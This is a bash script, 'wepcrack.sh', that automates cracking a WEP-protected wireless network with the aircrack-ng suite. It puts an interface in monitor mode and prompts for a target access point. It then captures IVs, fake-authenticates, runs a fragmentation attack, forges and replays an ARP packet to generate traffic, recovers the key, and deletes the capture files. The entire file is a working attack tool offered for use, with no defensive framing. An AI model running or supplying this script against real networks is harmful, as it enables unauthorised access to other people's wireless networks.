#!/bin/bash
# wepcrack.sh
#
# This tool requires aircrack-ng tools to be installed and run as root
#
# ChangeLog....
VERSION="1.0"
# Version 1.0 - First Release

#################################################################
# CHECKING FOR ROOT
#################################################################
if [ `echo -n $USER` != "root" ]
then
        echo "MESSAGE:"
        echo "MESSAGE: ERROR: Please run as root!"
        echo "MESSAGE:"
        exit 1
fi

#################################################################
# CHECKING TO SEE IF INTERFACE IS PROVIDED
#################################################################
if [ -z ${1} ]
then
        echo "MESSAGE: Version number ${VERSION}"
        echo "MESSAGE: Usage: `basename ${0}` [interface] [BSSID] [channel]"
        echo "MESSAGE: Example #`basename ${0}` wlan0 (everything else is optional)"
        exit 1
else
        INTERFACE="`echo "${1}" | cut -c 1-6`"
        echo "MESSAGE: Putting ${INTERFACE} in monitor mode"
fi

#################################################################
# PUT WIFI IN MONITOR MODE
#################################################################
airmon-ng start ${INTERFACE}
iwconfig ${INTERFACE} # mon0

#################################################################
# GET INTERFACE MAC ADDRESS
#################################################################
MACADDRESS=`ifconfig ${INTERFACE} | grep ${INTERFACE} | tr -s ' ' | cut -d ' ' -f5 | cut -c 1-17`

#################################################################
# CHECK IF BSSID,CHANNEL & TARGETNAME WERE PROVIDED
#################################################################
if [ -z ${2} ] || [ -z ${3} ] ; then
        #################################################################
        # SHOW VISIBLE WEP NETWORKS
        #################################################################
        echo "MESSAGE: Will now display all visible WEP networks"
        echo "MESSAGE: Once you have identified the network you wish to target press Ctrl-C to exit"
        read -p "MESSAGE: Press enter to view networks"
        airodump-ng --encrypt WEP ${INTERFACE} # mon0

        #################################################################
        # USER INPUT DETAILS FROM AIRODUMP
        #################################################################
        while true
        do
                echo -n "MESSAGE: Please enter the target BSSID here: "
                read -e BSSID
                echo -n "MESSAGE: Please enter the target channel here: "
                read -e CHANNEL
                echo "MESSAGE: Target BSSID            : ${BSSID}"
                echo "MESSAGE: Target Channel          : ${CHANNEL}"
                echo "MESSAGE: Interface MAC Address   : ${MACADDRESS}"
                echo -n "MESSAGE: Is this information correct? (y or n): "
                read -e CONFIRM
                case $CONFIRM in
                        y|Y|YES|yes|Yes)
                                break ;;
                        *) echo "MESSAGE: Please re-enter information"
                esac
        done
fi

#################################################################
# START AIRODUMP IN XTERM WINDOW
#################################################################
echo "MESSAGE: Starting packet capture - Ctrl-c to end it"
xterm -e "airodump-ng -c ${CHANNEL} --bssid ${BSSID} --ivs -w capture ${INTERFACE}" & AIRODUMPPID=$!
sleep 2

#################################################################
# ASSOCIATE WITH AP & THEN PERFORM FRAGMENTATION ATTACK
#################################################################
aireplay-ng -1 0 -a ${BSSID} -h ${MACADDRESS} ${INTERFACE}
aireplay-ng -5 -b ${BSSID} -h ${MACADDRESS} ${INTERFACE}
packetforge-ng -0 -a ${BSSID} -h ${MACADDRESS} -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-packet ${INTERFACE}
xterm -e "aireplay-ng -2 -r arp-packet ${INTERFACE}" & AIREPLAYPID=$!

#################################################################
# ATTEMPTING TO CRACK
#################################################################
while true
do
        aircrack-ng -n 128 -b ${BSSID} *.ivs
        echo -n "MESSAGE: Did you get the key?: (y or no)"
        read -e CONFIRM
        case $CONFIRM in
                y|Y|YES|yes|Yes)
                        break ;;
                *) echo "MESSAGE: Will attempt to crack again" & sleep 3
        esac
done

#################################################################
# DELETE FILES CREATED DURING WEP CRACKING
#################################################################
kill ${AIRODUMPPID}
kill ${AIREPLAYPID}
airmon-ng stop ${INTERFACE}
rm *.ivs *.cap *.xor
exit 0
